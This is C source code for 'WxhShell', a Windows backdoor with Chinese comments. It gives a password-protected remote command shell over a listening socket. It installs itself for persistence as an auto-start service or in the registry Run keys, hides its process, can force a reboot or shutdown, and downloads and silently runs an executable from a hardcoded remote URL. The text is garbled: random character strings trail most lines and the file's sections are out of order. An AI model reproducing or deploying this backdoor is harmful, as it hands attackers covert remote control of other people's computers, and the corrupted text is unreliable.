  case 'd': { )cMh0SGcM1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jLHkOk5{:  
    if(Boot(SHUTDOWN)) Wf>R&o6tr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7} 5JDG  
    else { 68C%B9.b'  
    closesocket(wsh); ud@%5d  
    ExitThread(0); y,,dCca  
    } -ifFbT+x  
    break; 4yA+ h2  
    } 0rs"o-s<  
  // 获取shell j/c&xv 7=  
  case 's': { Sp]0c[37R  
    CmdShell(wsh); eiaFaYe\  
    closesocket(wsh); XW)lDiJl  
    ExitThread(0); o~y;j75{.*  
    break; c2 C8g1n  
  } ['tY4$L(  
  // 退出 4*cEag   
  case 'x': { w;:*P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !@*7e:l  
    CloseIt(wsh); `% "\@<  
    break; #r~# I}U  
    } ( 2E\p  
  // 离开 u.m[u)HQ  
  case 'q': { Zaf:fsj>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jZkcBIK2  
    closesocket(wsh); FxWSV|Z  
    WSACleanup(); ? _9  
    exit(1); ,CcV/K  
    break; >7T'OC  
        } T<Z &kYU:R  
  } fW1CFRHH  
  } :vQrOn18p  
:zke %Yx  
  // 提示信息 5 ,B_u%bb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0{p#j~ZhC  
} ` *N[jm"  
  } A>;bHf@  
:g=qz~2Xk  
  return; &>W$6>@  
} j[G  
$2M$?4S/T  
// shell模块句柄 Nv}=L : E  
int CmdShell(SOCKET sock) WH@,kH@  
{ Zbt.t] N  
STARTUPINFO si; '9Xu p  
ZeroMemory(&si,sizeof(si)); Vl=l?A8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J7Hl\Q[D1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bP$dU,@p~  
PROCESS_INFORMATION ProcessInfo; e>7>j@(K]  
char cmdline[]="cmd"; jB Z&Ad@e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q}K"24`=  
  return 0; b;W3j   
} &4x}ppX  
0#s"e}@v  
// 自身启动模式 )|R)Q6UJ  
int StartFromService(void) t[;LD_  
{ 5o'FS{6U  
typedef struct U!?_W=?  
{ ;oKZ!ND  
  DWORD ExitStatus; 6"5A%{ J  
  DWORD PebBaseAddress; p\tm:QWD;  
  DWORD AffinityMask; 03qQ'pq  
  DWORD BasePriority; 2M#Q.F  
  ULONG UniqueProcessId; S\YTX%Xm}  
  ULONG InheritedFromUniqueProcessId; gw3K+P  
}   PROCESS_BASIC_INFORMATION; %G/ hD  
/h H  
PROCNTQSIP NtQueryInformationProcess; lH x^D;m6  
Kp~VS<3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SpLzm A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rv^@,8vq  
n&;85IF1  
  HANDLE             hProcess; TA`1U;c{n  
  PROCESS_BASIC_INFORMATION pbi; ~"&|W'he[  
vkx7paY_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JHM9  
  if(NULL == hInst ) return 0; c"n\cNP<  
M4oy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r?lf($ D*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "fCu=@i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p;59?  
gx8ouOh  
  if (!NtQueryInformationProcess) return 0; k"T}2 7  
rq/yD,I,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r6MMCJ|G  
  if(!hProcess) return 0; 3G)#5 Lf<  
7u S~MW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?GoR^p #p  
7Oa#c<2]  
  CloseHandle(hProcess); Pg0x/X{t  
mzaWST]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vv3* j&I  
if(hProcess==NULL) return 0; 0d"[l@UU0  
7$vYo _  
HMODULE hMod; \FbvHr,  
char procName[255]; ?qLFaFt/  
unsigned long cbNeeded; Yq0| J  
* 8yAG]z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jk; clwyz/  
+,T RfP Fb  
  CloseHandle(hProcess); @uqd.Q  
?wiC Q6*$  
if(strstr(procName,"services")) return 1; // 以服务启动 b8`)y<7  
&I+5  
  return 0; // 注册表启动 <;eW=HT+uq  
} 1#V_Z^OL  
+j`5F3@  
// 主模块 3nIU1e  
int StartWxhshell(LPSTR lpCmdLine) fo*2:?K&  
{ H1pO!>M  
  SOCKET wsl; =)H.c uc  
BOOL val=TRUE; w(*vj  
  int port=0; +qtJaYf/0  
  struct sockaddr_in door; (lBCO?`fx  
(>UZ<2GPL  
  if(wscfg.ws_autoins) Install(); 2\A$6N ;_  
UUYSFa %  
port=atoi(lpCmdLine); g|DF[  
N=T<_`$5  
if(port<=0) port=wscfg.ws_port; p*R;hU  
}{K) 4M  
  WSADATA data; W7R<%?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UN;H+gNnN  
0U(@= 7V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {3>$[bT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fn jPSts0  
  door.sin_family = AF_INET; F 5bj=mI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F'={q{2wH  
  door.sin_port = htons(port); 6@h/*WElG  
\%JgH=@ :=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M)J5;^["  
closesocket(wsl); NR 5gj-B[  
return 1; =1FRFZI!j  
} 1y4|{7bb  
q 6:dy  
  if(listen(wsl,2) == INVALID_SOCKET) { n Mq,F#`3N  
closesocket(wsl); KVoS C @w  
return 1; 5Md=-,'J!  
} sQ UM~HD\a  
  Wxhshell(wsl); ="1Ind@w!  
  WSACleanup(); GfxZ'VIn  
fa jGZyd0:  
return 0; :KSV4>X[%a  
rKe2/4>0X  
} fy>{QC\  
aD<A.Lhy  
// 以NT服务方式启动 v+W&9>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )al]*[lY  
{ -]N x,{  
DWORD   status = 0; 9tU]`f  
  DWORD   specificError = 0xfffffff; ''A_[J `>  
2@n{yYwy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [`#CXq'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @ wGPqg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SB;&GHq"n  
  serviceStatus.dwWin32ExitCode     = 0; .9/ hHCp  
  serviceStatus.dwServiceSpecificExitCode = 0; ;V:i!u u  
  serviceStatus.dwCheckPoint       = 0; &&5aM  
  serviceStatus.dwWaitHint       = 0; )!th7sH  
0cv{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g+8OekzB5  
  if (hServiceStatusHandle==0) return; /QK6Rac-  
uanhr)Ys  
status = GetLastError(); 8l>?Pv  
  if (status!=NO_ERROR) 6 C1#/  
{ J|W<;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1jmjg~W  
    serviceStatus.dwCheckPoint       = 0; JK7G/]j+Ez  
    serviceStatus.dwWaitHint       = 0; A9KET$i@v  
    serviceStatus.dwWin32ExitCode     = status; .Yamc#A-  
    serviceStatus.dwServiceSpecificExitCode = specificError; >2y':fO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %8RrRW  
    return; JU4<|5H  
  } |%BOZT  
70 yFaW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fF!Yp iI"  
  serviceStatus.dwCheckPoint       = 0; h/QXPdV  
  serviceStatus.dwWaitHint       = 0; !4ocZmj\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wm+};L&_  
} q\9JgD)  
F#3Q_G^/  
// 处理NT服务事件,比如:启动、停止 j"8ZM{aO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SpIv#?  
{ [$ubNk;!z  
switch(fdwControl) lB8-Z ow  
{ :tc@2/>!O  
case SERVICE_CONTROL_STOP: I {SjlN}d  
  serviceStatus.dwWin32ExitCode = 0; Eh)fnqs_d}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o@_q]/Mh  
  serviceStatus.dwCheckPoint   = 0; \ ,'m</o~,  
  serviceStatus.dwWaitHint     = 0; : p1u(hflS  
  { 7zl5yK N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PF0_8,@U  
  } ^Y?k0z  
  return; #z'  
case SERVICE_CONTROL_PAUSE: M :=J^0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :;v~%e{k  
  break; ^7`BP%6  
case SERVICE_CONTROL_CONTINUE: vRTkgH#4l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v1#otrf  
  break; (fhb0i-  
case SERVICE_CONTROL_INTERROGATE: 4V"E8rUL(  
  break; zF@/K`  
}; h 7*J9[$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A\*>TN>s  
} Ky`qskvu  
=?5]()'*n  
// 标准应用程序主函数 w$>u b@=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8:q1~`?5"b  
{ L@rcK!s,lD  
OMk y$d#  
// 获取操作系统版本 Qry@ s5  
OsIsNt=GetOsVer(); ;'gWu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cQjv$$&6[  
+Z,;,5'5G  
  // 从命令行安装 Hkg2P ,2  
  if(strpbrk(lpCmdLine,"iI")) Install(); #QZe,"C9`  
5frX   
  // 下载执行文件 9v#CE!  
if(wscfg.ws_downexe) { k<z )WNBf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xPdG*OcX!  
  WinExec(wscfg.ws_filenam,SW_HIDE); \wmN  
} .w:DFk^E]b  
PgAf\.48a  
if(!OsIsNt) { pP1|&`}ux  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,S\CC{!  
HideProc(); S0$8@"~=  
StartWxhshell(lpCmdLine); 9FF0%*tGo  
} s$IDLs,WM  
else B  5L2<  
  if(StartFromService()) "mo?* a$Sk  
  // 以服务方式启动 >e lJkq|  
  StartServiceCtrlDispatcher(DispatchTable); )J=!L\  
else D2 #ZpFp"h  
  // 普通方式启动 V(}:=eK  
  StartWxhshell(lpCmdLine); oE6tauQn  
zxEL+P  
return 0; 7o\@>rNWP  
} y4yhF8E>;U  
^ "E^zHM(  
L]7=?vN=8  
/>C^WQI^  
=========================================== +8T?{K  
"%)qRe  
\Zk;ikEY  
cUk7i`M;6  
`Uq#W+r,  
aNsBcov3O  
" 7lTC{7C57  
gE-tjoJ  
#include <stdio.h> UJUEYG  
#include <string.h> KV91)U  
#include <windows.h> \eTwXe]Pv  
#include <winsock2.h> F k7?xc  
#include <winsvc.h> " > ypIR<  
#include <urlmon.h> .Cv6kgB@c  
8H[<X_/ke  
#pragma comment (lib, "Ws2_32.lib") Y+pHd\$-4  
#pragma comment (lib, "urlmon.lib") TT%M' 5&  
_IMW {  
#define MAX_USER   100 // 最大客户端连接数 e v}S+!|U  
#define BUF_SOCK   200 // sock buffer +SzU  
#define KEY_BUFF   255 // 输入 buffer 3qgS&js 7  
J[&@PUy  
#define REBOOT     0   // 重启 5"VTK  
#define SHUTDOWN   1   // 关机 7jrt7[{  
t mn tp  
#define DEF_PORT   5000 // 监听端口 wKh4|Ka  
N>uRf0E>  
#define REG_LEN     16   // 注册表键长度 O *C;Vqt  
#define SVC_LEN     80   // NT服务名长度 goNG' o %|  
%jJG>T  
// 从dll定义API y G~?MEh{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _{ue8kGt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,O5NLg-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E*& vy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ha#= (9.  
d2FswF$C  
// wxhshell配置信息 -12UN(&&Z  
struct WSCFG {  ,i NXK  
  int ws_port;         // 监听端口 @ )F)S 7  
  char ws_passstr[REG_LEN]; // 口令 KRbvj  
  int ws_autoins;       // 安装标记, 1=yes 0=no !vi> U|rh  
  char ws_regname[REG_LEN]; // 注册表键名 q_lKKzA  
  char ws_svcname[REG_LEN]; // 服务名 Q>qUk@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t|?ez4/{z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j a[Et/r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @/~omg}R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [&[k^C5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HdI8f!X'TG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 63iUi9P  
MR7}s4o  
}; Y>z>11yEB0  
W.jGGt\<\  
// default Wxhshell configuration @)+AaC#-  
struct WSCFG wscfg={DEF_PORT, 1q\\5A<V  
    "xuhuanlingzhe", 7O2/z:$f  
    1, 8LJ8 }%*  
    "Wxhshell", &, vcJ{.  
    "Wxhshell", ,oe <  
            "WxhShell Service", u]wZQl#-  
    "Wrsky Windows CmdShell Service", .8g)av+  
    "Please Input Your Password: ", Eh`7X=Z7E  
  1, Ufj`euY  
  "http://www.wrsky.com/wxhshell.exe", ,^r9n[M4M  
  "Wxhshell.exe" )iX~}7  
    }; o#)C^xlQ  
;LfXi 8)  
// 消息定义模块 %Qgw7p4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~G p [_ %K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3yme1Mb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yF:1( 4  
char *msg_ws_ext="\n\rExit."; 0 JS?;fk  
char *msg_ws_end="\n\rQuit."; t,Lrfv])  
char *msg_ws_boot="\n\rReboot..."; udH7}K v  
char *msg_ws_poff="\n\rShutdown..."; E`JI>7  
char *msg_ws_down="\n\rSave to "; 234p9A@  
LrfVh-}|:Y  
char *msg_ws_err="\n\rErr!"; 1nM  #kJ"  
char *msg_ws_ok="\n\rOK!"; <{p4V|:  
R-wp9^  
char ExeFile[MAX_PATH]; &AMl:@p9  
int nUser = 0; mUC)gA/  
HANDLE handles[MAX_USER]; +QavYqPF  
int OsIsNt; G't$Qx,IC  
f)rq%N &  
SERVICE_STATUS       serviceStatus; o|^3J{3G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S72+d%$  
YaqR[F  
// 函数声明 k}CVQ@nd  
int Install(void); @IKYh{j4  
int Uninstall(void); "^[ 'y7i  
int DownloadFile(char *sURL, SOCKET wsh); bP#:Oi0v`  
int Boot(int flag); NYUL:Tp  
void HideProc(void); v"$L702d$\  
int GetOsVer(void); tT8%yG}  
int Wxhshell(SOCKET wsl); 2|y"!JqE1  
void TalkWithClient(void *cs); +/7?HGf  
int CmdShell(SOCKET sock); u#fM_>ML  
int StartFromService(void); /62!cp/F/D  
int StartWxhshell(LPSTR lpCmdLine); P5V}#;v  
6wRd<]C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K3&qq[8.e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c):/!Q  
539>WyG5  
// 数据结构和表定义 Es`Px_k  
SERVICE_TABLE_ENTRY DispatchTable[] = s) t@ol  
{ M?49TOQA  
{wscfg.ws_svcname, NTServiceMain}, ;d$rdFA_  
{NULL, NULL} qq`4<0I>  
}; nPtuTySG  
**0~K";\  
// 自我安装 n6>#/eUH  
int Install(void) ]cvwIc">  
{ 0auYG><=  
  char svExeFile[MAX_PATH]; >uB?rGcM  
  HKEY key; 1\m[$Gs:  
  strcpy(svExeFile,ExeFile); ]A `n( "%  
iyE7V_O T  
// 如果是win9x系统,修改注册表设为自启动 Q*cf(  
if(!OsIsNt) { <=&`ZH   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gg/-k;@ Rf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iVr JQ  
  RegCloseKey(key); ^CH=O|8j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :4w ?#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  A@('pA85  
  RegCloseKey(key); 3&4(ZH=  
  return 0; }6~hEc*/"  
    } M0"_^?  
  } y<3-?}.aZ  
} #z%fx   
else { est9M*Fn  
Kw^7>\  
// 如果是NT以上系统,安装为系统服务 aO[w/cGQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); # w4-aJ  
if (schSCManager!=0) Lb-OsKU  
{  > |=ts  
  SC_HANDLE schService = CreateService H41?/U,{  
  ( ty!`T+3  
  schSCManager, Qel9G($=  
  wscfg.ws_svcname, hZ,_ 6mNg  
  wscfg.ws_svcdisp, I 34>X`[o  
  SERVICE_ALL_ACCESS, a-tmq]]E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |-ALklXr  
  SERVICE_AUTO_START, Rv>-4@fMJ  
  SERVICE_ERROR_NORMAL, t}4, ]m s  
  svExeFile, Yh7t"=o  
  NULL, KF}hV9IU  
  NULL, Dy&i&5E.-l  
  NULL, =svN#q5s  
  NULL, ~8+ Zs  
  NULL 1GRCV8 "Z^  
  ); >R_&Ouh:  
  if (schService!=0) J)> c9w  
  { _LnpnL:  
  CloseServiceHandle(schService); .Efk*  
  CloseServiceHandle(schSCManager); (WJRi:NP?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jpq~  
  strcat(svExeFile,wscfg.ws_svcname); t?gic9 q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T!{w~'=F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fOrH$?  
  RegCloseKey(key); kZ:ZtE  
  return 0; f~[7t:WD*  
    } t@;p  
  } wlvgg  
  CloseServiceHandle(schSCManager); @HCVmg:  
} ~~P5k:  
} kTB 0b*V  
Zx@a/jLO[n  
return 1; 'LC1(V!_j  
} }<r)~{UV  
$PPi5f}HD  
// 自我卸载 Zi i   
int Uninstall(void) Q&;9 x?e  
{ ?V=ZIGj  
  HKEY key; r u%y  
EZGIf/ 3  
if(!OsIsNt) { pv&sO~!iC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eByz-,{P  
  RegDeleteValue(key,wscfg.ws_regname); e *C(q~PQ  
  RegCloseKey(key); _VN?#J)o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3"i-o$P  
  RegDeleteValue(key,wscfg.ws_regname); ]6` %  
  RegCloseKey(key); ObS3 M  
  return 0; !.gIHY  
  } ITBE|b  
}  (ZizuHC  
} F>l] 9!P|m  
else { ?l )[7LR4  
Avc%2 +  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \\qZl)P_  
if (schSCManager!=0) 59A}}.@?m  
{ )akoa,#%6c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t:Q*gW Rh  
  if (schService!=0) A/s?x>QA  
  { %$L{R  
  if(DeleteService(schService)!=0) { f}e`XA?  
  CloseServiceHandle(schService); )10+@d  
  CloseServiceHandle(schSCManager); # W']6'O  
  return 0; teF9Q+*~  
  } \b x$i*  
  CloseServiceHandle(schService); niyV8v  
  } tWRC$  
  CloseServiceHandle(schSCManager); GVn!O1jio  
} +\9NDfYIA  
} )t#W{Gzfmh  
TJRCH>E[a  
return 1; ^h6tr8yn  
} R 9\*#c  
3pKQ$\u  
// 从指定url下载文件 %u'u kcL7  
int DownloadFile(char *sURL, SOCKET wsh) ?tbrbkx  
{ wHy!CP%  
  HRESULT hr; 25?6gu*Z  
char seps[]= "/"; ICQKP1WFp  
char *token; .q>iXE_c  
char *file; C'x&Py/#  
char myURL[MAX_PATH]; :o3N;*o>)0  
char myFILE[MAX_PATH]; +e``OeXog  
L,!?Nt\  
strcpy(myURL,sURL); GTd,n=  
  token=strtok(myURL,seps); #6=  
  while(token!=NULL) rILYI;'o  
  { {<KVx9  
    file=token; ?caSb =f  
  token=strtok(NULL,seps); [W&T(%(W-  
  } 4r}51 N\  
hgq;`_;1,  
GetCurrentDirectory(MAX_PATH,myFILE); ZECfR>`x  
strcat(myFILE, "\\"); e^voW"?%  
strcat(myFILE, file); hVY$;s  
  send(wsh,myFILE,strlen(myFILE),0); k_#)Tw*  
send(wsh,"...",3,0); <P_-s*b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WyiQoN'q  
  if(hr==S_OK) h376Be{P  
return 0; <hyKu  
else /{I$#:M  
return 1; 2,b$7xaf  
I?CZQ+}Hq  
} L4W5EO$  
R|(a@sL  
// 系统电源模块 ;$4\e)AB  
int Boot(int flag) PJ#,2=n~  
{ ~n_HP_Kf?  
  HANDLE hToken; He@KV=  
  TOKEN_PRIVILEGES tkp; ^\m![T\bX  
TWTb?HP  
  if(OsIsNt) { f o3}W^0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;uGv:$([g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F+qm[Bc8  
    tkp.PrivilegeCount = 1; +}AI@+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pb,d'z\S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;^L(^Hx  
if(flag==REBOOT) { -~w'Xo#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $??I/6  
  return 0; HPVEnVn  
} 2=}FBA,2  
else { x8|J-8A(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hl=xW/%6y  
  return 0; 2\$oV  
} BgT*icd8d  
  } c71y'hnT  
  else { !4!~L k=  
if(flag==REBOOT) {  bN.Pex  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -{vD: Il=6  
  return 0; kJR`:J3DJ  
} 2~V*5~fb  
else { lB4WKn=?Kl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6S #Cl>v  
  return 0; Z\sDUJ  
} '"s@enD0y  
} %yC,^  
v$9y,^p@e  
return 1; pgo$ 61  
} DmcZta8n]  
8P`"M#fI  
// win9x进程隐藏模块 eMzk3eOJ  
void HideProc(void) 5)40/cBe  
{ 46;uW{EY  
5h*p\cl!Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {;oPLr+Z  
  if ( hKernel != NULL ) J}t%p(mb  
  { -?a 26o%e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]M3yLYK/P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zuCSj~  
    FreeLibrary(hKernel); %iB,IEw  
  } `D9$v(Ztr  
|W^IlqTH  
return; :T~  [  
} EQ_aa@M7  
h+,@G,|D  
// 获取操作系统版本 >Q*Wi  
int GetOsVer(void) .+qpk*V\  
{ Bbc^FHip  
  OSVERSIONINFO winfo; d;>QhoiL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~LC-[&$  
  GetVersionEx(&winfo); Bw yx c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -\MG}5?!  
  return 1; FI.\%x  
  else X>^fEQq"  
  return 0; "N#Y gSr  
} 8Fub<UhJ  
Dv6}bx(  
// 客户端句柄模块 Y:`&=wjP~  
int Wxhshell(SOCKET wsl) wC*X4 '  
{ i/.6>4tE:  
  SOCKET wsh; lq uLT6]  
  struct sockaddr_in client; A}!J$V:w]  
  DWORD myID; .\mj4*?/  
(<lhn  
  while(nUser<MAX_USER) #&4=VGx{ #  
{ TA\vZGJ('  
  int nSize=sizeof(client); Gm`8q}<I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .)3<Q}>  
  if(wsh==INVALID_SOCKET) return 1; TqQ[_RKg2  
Ort(AfW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +7a6*;\ y  
if(handles[nUser]==0) 76SXJ9@x  
  closesocket(wsh); !IR6 ,A\  
else @VI@fN  
  nUser++; "M0z(N kH  
  } qgB_=Q#E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9H~n _   
$VR{q6[0S?  
  return 0; i~72bMwsA  
} =pr7G+_u  
XP}<N&j  
// 关闭 socket A}w/OA97RO  
void CloseIt(SOCKET wsh) ?A0)L27UE&  
{ sos5Y}  
closesocket(wsh); z9"U!A4  
nUser--; .Y|!:t|  
ExitThread(0); $Kd>:f=A  
} 7$#u  
kf9X$d6   
// 客户端请求句柄 ; @X<lCk  
void TalkWithClient(void *cs) Bp{Ri_&A  
{ bK7J}8hH  
&3&HY:yF  
  SOCKET wsh=(SOCKET)cs; g{LP7 D;6  
  char pwd[SVC_LEN]; H*6W q  
  char cmd[KEY_BUFF]; R-14=|7a-  
char chr[1]; #;S*V"  
int i,j; Xc.`-J~Il  
{G-kNU  
  while (nUser < MAX_USER) { afk>+4q  
4!$"ayGv;D  
if(wscfg.ws_passstr) { zeRyL3fnmb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m+9#5a-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0`H# '/  
  //ZeroMemory(pwd,KEY_BUFF); qSQ~D(tO  
      i=0; 1*7@BP5  
  while(i<SVC_LEN) { kcEeFG;DQ  
 lRQYpc\  
  // 设置超时 @nf`Gw ;  
  fd_set FdRead; [hs ds\  
  struct timeval TimeOut; 8k79&|  
  FD_ZERO(&FdRead); P~dcW  
  FD_SET(wsh,&FdRead); =u;MCQ[  
  TimeOut.tv_sec=8; z%kULTL  
  TimeOut.tv_usec=0; !9x}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R-Sym8c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -qoH,4w  
8Y?;x}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q(}bfIf  
  pwd=chr[0]; L(\cHb9`  
  if(chr[0]==0xd || chr[0]==0xa) { .^.z2 e  
  pwd=0; ce(#2o&`  
  break; Ca\6vR  
  } ,?3G;-  
  i++; z{>Rc"%\  
    } GthYzd:'hJ  
8>V5d Ebx'  
  // 如果是非法用户,关闭 socket Ts9uL5i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I:.s_8mH}  
} \v/[6&|X0s  
Ss`LLq0LO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T0 {Lq:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r*Xuj=  
;d?R:Uw8  
while(1) { F[0]/  
Js;h%  
  ZeroMemory(cmd,KEY_BUFF); hOeRd#AQK  
pJ{Y lS{  
      // 自动支持客户端 telnet标准   <vP=zk  
  j=0; ,0k;!YK  
  while(j<KEY_BUFF) { f!"w5qC^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gFh*eCo   
  cmd[j]=chr[0]; +h$ 9\  
  if(chr[0]==0xa || chr[0]==0xd) { ;G!q Y  
  cmd[j]=0; cZ06Kx..  
  break; W8<%[-r  
  } ,vDbp?)'U  
  j++; ZB{EmB0W  
    } liSmjsk  
w>YDNOk  
  // 下载文件 ])!*_  
  if(strstr(cmd,"http://")) { /( LL3cZK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `x|?&Ytmf9  
  if(DownloadFile(cmd,wsh)) pXUSLs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <}LC~B!  
  else g+l CMW\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rs.)CMk53  
